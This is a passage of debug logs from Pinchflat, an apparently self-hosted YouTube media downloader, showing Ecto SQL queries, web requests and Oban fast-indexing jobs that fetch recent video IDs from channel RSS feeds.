FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:49:06.247 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=935.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [369] 18:49:06.247 [debug] QUERY OK source="settings" db=0.0ms idle=924.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:06.247 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:06.247 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:06.248 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:49:06.249 [info] Sent 200 in 3ms 18:49:27.461 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:41.622 [info] GET /media_profiles 18:49:41.622 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 18:49:41.622 [debug] QUERY OK source="media_profiles" db=0.1ms idle=304.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 18:49:41.623 [debug] QUERY OK source="settings" db=0.1ms idle=304.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:41.623 [debug] QUERY OK source="settings" db=0.0ms idle=304.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:41.623 [debug] QUERY OK source="settings" db=0.0ms idle=305.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:49:41.624 [info] Sent 200 in 1ms 18:49:57.462 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.876 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:27.463 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:57.464 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.877 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:07.453 [info] {"args":{"id":2},"id":748,"meta":{},"system_time":1784919067453328961,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:51:07.454 [debug] QUERY OK source="sources" db=0.6ms idle=119.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:51:07.454 [debug] QUERY OK source="tasks" db=0.6ms idle=119.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:51:07.454 [debug] QUERY OK source="settings" db=0.0ms idle=120.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:07.454 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:07.454 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:07.454 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 18:51:07.454 [debug] QUERY OK source="sources" db=0.5ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:51:07.716 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:51:07.717 [debug] QUERY OK source="media_items" db=0.3ms idle=262.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:51:07.717 [debug] QUERY OK source="media_items" db=0.1ms idle=263.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:51:07.718 [debug] QUERY OK source="tasks" db=0.0ms idle=263.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [751, 2, ~U[2026-07-24 18:51:07Z], ~U[2026-07-24 18:51:07Z]] 18:51:07.718 [info] {"args":{"id":2},"id":748,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":265018,"event":"job:stop","queue_time":482384,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:51:07.718 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:51:13.974 [info] GET /sources/3/media/6485 18:51:13.975 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6485", "source_id" => "3"} Pipelines: [:browser] 18:51:13.975 [debug] QUERY OK source="media_items" db=0.2ms idle=640.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6485] 18:51:13.975 [debug] QUERY OK source="tasks" db=0.0ms idle=640.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6485] 18:51:13.975 [debug] QUERY OK source="sources" db=0.1ms idle=640.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:51:13.975 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=640.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [382] 18:51:13.976 [debug] QUERY OK source="settings" db=0.0ms idle=522.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:13.976 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:13.976 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:13.976 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:13.977 [info] Sent 200 in 2ms 18:51:14.836 [info] GET /settings 18:51:14.836 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 18:51:14.836 [debug] QUERY OK source="settings" db=0.2ms idle=860.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:14.836 [debug] QUERY OK source="settings" db=0.1ms idle=860.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:14.836 [debug] QUERY OK source="settings" db=0.0ms idle=860.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:14.837 [debug] QUERY OK source="settings" db=0.0ms idle=860.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:14.837 [info] Sent 200 in 1ms 18:51:17.464 [info] {"args":{"id":1},"id":749,"meta":{},"system_time":1784919077464324316,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:51:17.464 [debug] QUERY OK source="sources" db=0.4ms idle=1129.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:17.465 [debug] QUERY OK source="tasks" db=0.5ms idle=1129.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:51:17.465 [debug] QUERY OK source="settings" db=0.1ms idle=1007.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:17.465 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:51:17.465 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:51:17.465 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:51:17.465 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 18:51:17.759 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:51:17.760 [debug] QUERY OK source="media_items" db=0.3ms idle=294.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:51:17.762 [debug] QUERY OK source="media_items" db=2.2ms idle=295.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:51:17.763 [debug] QUERY OK source="tasks" db=0.0ms idle=297.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [752, 1, ~U[2026-07-24 18:51:17Z], ~U[2026-07-24 18:51:17Z]] 18:51:17.763 [info] {"args":{"id":1},"id":749,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":298889,"event":"job:stop","queue_time":564073,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:51:17.764 [debug] QUERY OK source="tasks" db=0.5ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:51:27.465 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:32.480 [info] {"args":{"id":3},"id":750,"meta":{},"system_time":1784919092480208474,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:51:32.480 [debug] QUERY OK source="sources" db=0.0ms idle=1142.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:51:32.480 [debug] QUERY OK source="tasks" db=0.2ms idle=1142.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = 